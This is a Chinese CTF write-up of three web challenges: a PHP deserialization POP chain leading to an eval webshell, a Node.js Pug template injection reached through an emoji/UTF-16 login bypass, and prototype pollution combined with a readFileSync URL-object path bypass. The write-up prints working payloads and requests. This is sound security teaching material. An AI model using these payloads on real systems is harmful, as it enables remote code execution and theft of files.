2023 第十六届全国大学生信息安全竞赛 创新实践能力赛 华南赛区 部分题解

下了三天雨,啥也没看着。

city_pop

提示了 pop.php

filter 替换 getflaghark,少了两个字符,而 Start 方法无法传参对象,因此猜测是反序列化逃逸。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
<?php
error_reporting(0);
function filter($str){
$str=str_replace("getflag",'hark',$str);
return $str;

}
class Start{
public $start;
public $end;
public function __construct($start,$end)
{
$this->start=$start;
$this->end=$end;
}
}

class Go{

public function __destruct()
{
echo $this->ray;
}


}
class Get{
public $func;
public $name;
public function __get($name)
{
call_user_func($this->func,$name);

}

public function __toString()
{
$this->name->{$this->func};

}

}
class Done{
public $eval;
public $class;
public $use;
public $useless;
public function __invoke()
{
$this->use=$this->useless;
eval($this->eval);
}

public function __wakeup(){
$this->eval='no way';
}
}

if(isset($_GET['ciscn_huaibei.pop'])){
$pop=new start($_GET['ciscn_huaibei.pop'],$_GET['pop']);
$ser=filter(serialize($pop));
unserialize($ser);
}else{
highlight_file(__FILE__);
}
?>

POP 链构造

思路是 Godestruct 调用 GettoString,然后跳转 get 最后到 Doneinvoke

Done 中有 wakeupeval 进行了覆写,因此将赋值 use 地址给 eval,通过对 use 赋值来更改 eval

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
<?php

class Start
{
public $start;
public $end;

}

class Go
{

}

class Get
{
public $func;
public $name;
}

class Done
{
public $eval;
public $class;
public $use;
public $useless;
}


$d = new Done();
$d->use =& $d->eval;
$d->eval = 'no way';

$d->useless = "eval(\$_POST[1]);";
$d->use = $d->useless;
$get = new Get(new Get("1", $d), "phpinfo()");

$go = new Go;
$go->ray = $get;
print_r(serialize(new Start('getflaggetflaggetflaggetflaggetflaggetflag', $go)));

// O:5:"Start":2:{s:5:"start";s:42:"getflaggetflaggetflaggetflaggetflaggetflag";s:3:"end";O:2:"Go":1:{s:3:"ray";O:3:"Get":2:{s:4:"func";s:9:"phpinfo()";s:4:"name";O:3:"Get":2:{s:4:"func";O:4:"Done":4:{s:4:"eval";s:10:"phpinfo();";s:5:"class";N;s:3:"use";R:8;s:7:"useless";s:10:"phpinfo();";}s:4:"name";s:1:"1";}}}}

字符变量传参

对于 ciscn_huaibei.pop 这个传参来说,PHP 在遇到 [ 的时候,如果没有匹配到接下来的 ],则会替换其为 _,然后直接 return 不管后面了。

1
2
3
4
5
6
7
8
9
10
11
12
ip = strchr(ip, ']');
if (!ip) {
/* PHP variables cannot contain '[' in their names, so we replace the character with a '_' */
*(index_s - 1) = '_';

index_len = 0;
if (index) {
index_len = strlen(index);
}
goto plain_var;
return;
}

总结

直接构造。

1
2
3
POST http://172.1.14.1/pop.php?ciscn[huaibei.pop=getflaggetflaggetflaggetflaggetflaggetflag&pop=;s:3:%22end%22;O:2:%22Go%22:1:{s:3:%22ray%22;O:3:%22Get%22:2:{s:4:%22func%22;s:9:%22phpinfo()%22;s:4:%22name%22;O:3:%22Get%22:2:{s:4:%22func%22;O:4:%22Done%22:4:{s:4:%22eval%22;s:16:%22eval($_POST[1]);%22;s:5:%22class%22;N;s:3:%22use%22;R:8;s:7:%22useless%22;s:16:%22eval($_POST[1]);%22;}s:4:%22name%22;s:1:%221%22;}}}}

1=system('cat /flag.txt');

emoji

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
const express = require('express');
const ejs=require('ejs')
const session = require('express-session');
const bodyParse = require('body-parser');
const pugjs=require('pug')
function IfLogin(req, res, next){
if (req.session.user!=null){
next()
}else {
res.redirect('/login')
}
}
admin={
"username":"admin",
"password":"😍😂😍😒😘💕😁🙌"
}
app=express()
app.use(express.json());
app.use(bodyParse.urlencoded({extended: false}));
app.set('view engine', 'ejs');
app.use(session({
secret: 'legend of zelda : tears of kingdom',
resave: false,
saveUninitialized: true,
cookie: { maxAge: 3600 * 1000 }
}));

app.get('/',IfLogin,(req,res)=>{
res.send('if you want flag .then go to /admin ,and find a way to get it . no pain, no gain !')
})
app.get('/login',(req,res)=>{
console.log(req.session.user)
res.render('login')

})
app.post('/login',(req,res)=>{
var username=req.body.username
var password=req.body.password
if(username||password){
if(username.includes('ad')){
res.send('you not the true admin')
}else {
if(username.toString().substring(0,2)===admin.username.substring(0,2)&&password===admin.password.substring(1,15)){
console.log(1)
req.session.user={'username':username,'isadmin':'1'}
console.log(2)
}else {
req.session.user={'username':username}
}
res.redirect('/')
}
}
else {
res.send('please enter usrname or password')
}
})
app.get('/admin',IfLogin,(req,res)=>{
if (req.session.user.isadmin==='1'){
var hello='welcome '+req.session.user.username

res.send (pugjs.render(hello))
}
res.send('you are not admin')
})
app.listen('8080', () => {
console.log(`Example app listening at http://localhost:8080`)
})

大概是三个要点,一是 JavaScriptemoji 字符的编码。

编码

JavaScript 采用的是 Unicode 字符集,UTF-16 编码,因此对于一个 emoji 字符来说,其在 JavaScript 中表示的长度为 2

其中 charCodeAt 方法返回一个介于 0-65535 之间的整数,表示给定索引处的 UTF-16 代码单元。

codePointAt 方法返回一个非负整数,表示 Unicode 码点。

1
2
3
4
5
6
7
var emoji = "😍"

console.log(emoji.length) // 2

for(let i in emoji) {console.log(emoji[i].charCodeAt(0))} // 55357 56845

emoji.codePointAt(0) // 128525

Unicode

Unicode 字符集目前分了 17 个区,最前面的 65536 个字符在基本平面(BMP, Basic Multilingual Plane), 码点范围 U+0000 - U+FFFF。剩余的字符都在辅助平面(SMP, Supplementary Multilingual Plane),有 16 个,码点范围 U+010000 - U+10FFFFemoji 字符都在辅助平面,在解析的时候,可以使用 U+200D 零宽连字符,将两个 emoji 连起来,使其看起来像是一个 emoji,不支持的系统会忽略零宽连字,直接显示多个 emoji 字符。

UTF-16

对于 Unicode 来说,U+D800 - U+DFFF 是保留的码位区间。而 UTF-16 便使用这个区间来对辅助平面的字符进行编码,其将区间 U+D800 - U+DBFF 划为高位 HU+DC00 - U+DFFF 划为低位 L,有以下公式。

\[ \mbox{}H = Math.floor((C-\mbox{0x10000}) / \mbox{0x400})+\mbox{0xD800} \]

\[ L = (C - \mbox{0x10000})\ mod\ \mbox{0x400} + \mbox{0xDC00} \]

代入上文 codePointAt 返回的 128525,可以分别得到 charCodeAt 先后打印的值 55357、56845

因此当遇到第一个字符【头两个字节】的码点在 U+D800 - U+DBFF 区间【高位 H】上的时候,就需要和后一个字符【后两个字节】连着解码。

ToString

数字类型

十进制数转换为字符串:将数字对象的 toString() 方法应用于数字,可以指定要转换的进制作为可选参数。

1
2
3
var number = 42;
var str = number.toString(); // 默认转换为十进制
console.log(str); // 42

其他进制转换为字符串:指定要转换的进制作为 toString() 方法的参数。

1
2
3
var number = 42;
var str = number.toString(16); // 转换为十六进制
console.log(str); // 2a

字符串类型

字符串对象的 toString() 方法返回字符串自身。

1
2
3
var str = "Hello";
var result = str.toString();
console.log(result); // Hello

布尔类型

布尔对象的 toString() 方法返回布尔值的字符串表示。

1
2
3
var bool = true;
var result = bool.toString();
console.log(result); // true

数组类型

数组对象的 toString() 方法将数组的所有元素转换为字符串,并用逗号分隔。

1
2
3
var arr = [1, 2, 3];
var result = arr.toString();
console.log(result); // 1,2,3

includes

JavaScript 中,includes() 方法用于检查数组或字符串中是否包含指定的元素或子字符串,并返回相应的布尔值。

字符串类型

1
2
3
4
var str = "Hello, World!";

console.log(str.includes("World")); // true
console.log(str.includes("Hi")); // false

数组类型

1
2
3
4
var array = [1, 2, 3, 4, 5];

console.log(array.includes(3)); // true
console.log(array.includes(6)); // false

以及对于数组类型还有如下结果。

1
2
3
4
5
6
7
var array = ['ad'];

console.log(array.includes('ad')); // true

var array = ['admin'];

console.log(array.includes('ad')); // false

结论

因为 /admin 路由中是当 isadmin==='1' 的时候,才去获取 username 传入的参数,使用 render 方法解析。

那么结合上文引入的 ejspug 可以猜测是一个 ejs 模板引擎注入。

而要给 req.session.user.username 传参,需要满足 /login 中的登录条件。

结合上述 toStringincludes 方法的一些特性,可以不难得出 username 传入数组形式的 payload 的结论。

1
"username": ["ad#{global.process.mainModule.constructor._load('fs').readFileSync('/flag.txt')}"]

这样对于 username.includes('ad') 可以绕过,因为传入的不是 ["ad"],而 toString 后获得的字符串也是以 ad 开头。

接下来是对 admin.password.substring(1,15) 的绕过。

1
2
console.log(admin.password.substring(1,15).charCodeAt(0).toString(16)) // de0d
console.log(admin.password.substring(1,15).charCodeAt(13).toString(16)) // d83d

得到头尾半个 Unicode 编码的 emoji 字符。

最后构造 payload

1
2
3
4
5
6
{
"username": [
"ad#{global.process.mainModule.constructor._load('fs').readFileSync('/flag.txt')}"
],
"password": "\ude0d😂😍😒😘💕😁\ud83d"
}

pollution

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
const expres = require('express')
const JSON5 = require('json5');
const bodyParser = require('body-parser')
var fs = require("fs");
const session = require('express-session')
const rand = require('string-random')
var cookieParser = require('cookie-parser');
const SECRET = rand(32, '0123456789abcdef')
const port = 80
const app = expres()

app.use(bodyParser.urlencoded({extended: false}))
app.use(bodyParser.json())
app.use(session({
secret: SECRET,
resave: false,
saveUninitialized: true,
cookie: {maxAge: 3600 * 1000}
}));
app.use(cookieParser());

function waf(obj, arr) {
let verify = true;

Object.keys(obj).forEach((key) => {
if (arr.indexOf(key) > -1) {
verify = false;
}
});
return verify;
}

app.get('/', (req, res) => {
res.send('hellllllo!')
})

app.post('/login', (req, res) => {
let userinfo = JSON.stringify(req.body)
const user = JSON5.parse(userinfo)
if (waf(user, ['admin'])) {
req.session.user = user
if (req.session.user.admin == true) {
req.session.user = 'admin'
}
res.send('login success!')
} else {
res.send('login error!')
}
})

app.post('/dosometing', (req, res) => {
if (req.session.user === 'admin') {
if (JSON.stringify(req.body.file).includes("flag")) {
req.body.file = ''
}
const flag = fs.readFileSync(req.body.file)
res.send(flag.toString())
} else {
res.send('you are not admin')
}
})

app.get('/for_check', (req, res) => {
res.send(fs.readFileSync('/app/app.js').toString())
})

app.listen(port, () => {
console.log(`Example app listening on port ${port}`)
})

原型链污染比较简单。

1
{__proto__: {admin: true}}

读文件需要细究一下 readFileSync

readFileSync

调用栈如下。

1
2
3
4
5
6
getPathFromURLPosix(), url:1467
fileURLToPath(), url:1488
toPathIfFileURL(), url:1567
__node_internal_(), utils:687
openSync(), fs:592
readFileSync(), fs:468

首先是调用 openSync 方法。

1
2
3
4
5
6
function readFileSync(path, options) {
options = getOptions(options, { flag: 'r' });
const isUserFd = isFd(path); // File descriptor ownership
const fd = isUserFd ? path : fs.openSync(path, options.flag, 0o666);
// ...
}

openSync 中会用 getValidatedPath 对路径的合法性进行校验。

1
2
3
4
5
6
7
8
9
10
11
12
function openSync(path, flags, mode) {
path = getValidatedPath(path);
const flagsNumber = stringToFlags(flags);
mode = parseFileMode(mode, 'mode', 0o666);

const ctx = { path };
const result = binding.open(pathModule.toNamespacedPath(path),
flagsNumber, mode,
undefined, ctx);
handleErrorFromBinding(ctx);
return result;
}

getValidatedPath 中用 toPathIfFileURL 获取路径。

1
2
3
4
5
const getValidatedPath = hideStackFrames((fileURLOrPath, propName = 'path') => {
const path = toPathIfFileURL(fileURLOrPath);
validatePath(path, propName);
return path;
});

toPathIfFileURL 中使用 isURLInstance 判断路径是 URL 还是 Path

1
2
3
4
5
function toPathIfFileURL(fileURLOrPath) {
if (!isURLInstance(fileURLOrPath))
return fileURLOrPath;
return fileURLToPath(fileURLOrPath);
}

isURLInstance 中,当路径存在 hreforigin 属性时被判定为 URL

1
2
3
function isURLInstance(fileURLOrPath) {
return fileURLOrPath != null && fileURLOrPath.href && fileURLOrPath.origin;
}

然后调用 fileURLToPath 方法转换 URLPath,其中 protocol 属性需要为 file:

1
2
3
4
5
6
7
8
9
function fileURLToPath(path) {
if (typeof path === 'string')
path = new URL(path);
else if (!isURLInstance(path))
throw new ERR_INVALID_ARG_TYPE('path', ['string', 'URL'], path);
if (path.protocol !== 'file:')
throw new ERR_INVALID_URL_SCHEME('file');
return isWindows ? getPathFromURLWin32(path) : getPathFromURLPosix(path);
}

由于不是 Windows,因此进入 getPathFromURLPosix 来获取 path,在这个方法中,hostname 需要为空字符,然后对 pathname 进行一次 URL 解码并返回。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
function getPathFromURLPosix(url) {
if (url.hostname !== '') {
throw new ERR_INVALID_FILE_URL_HOST(platform);
}
const pathname = url.pathname;
for (let n = 0; n < pathname.length; n++) {
if (pathname[n] === '%') {
const third = pathname.codePointAt(n + 2) | 0x20;
if (pathname[n + 1] === '2' && third === 102) {
throw new ERR_INVALID_FILE_URL_PATH(
'must not include encoded / characters'
);
}
}
}
return decodeURIComponent(pathname);
}

结论

传入 hreforigin 不为空,protocolfile:hostname 为空字符,这时 pathname 可以通过 URL 编码绕过 includes("flag") 的判定。

1
{"file":{"href":"x","origin":"x","protocol":"file:","hostname":"","pathname":"/fl%61g.txt"}}

REFER

PHP 变量流量层面 WAF 绕过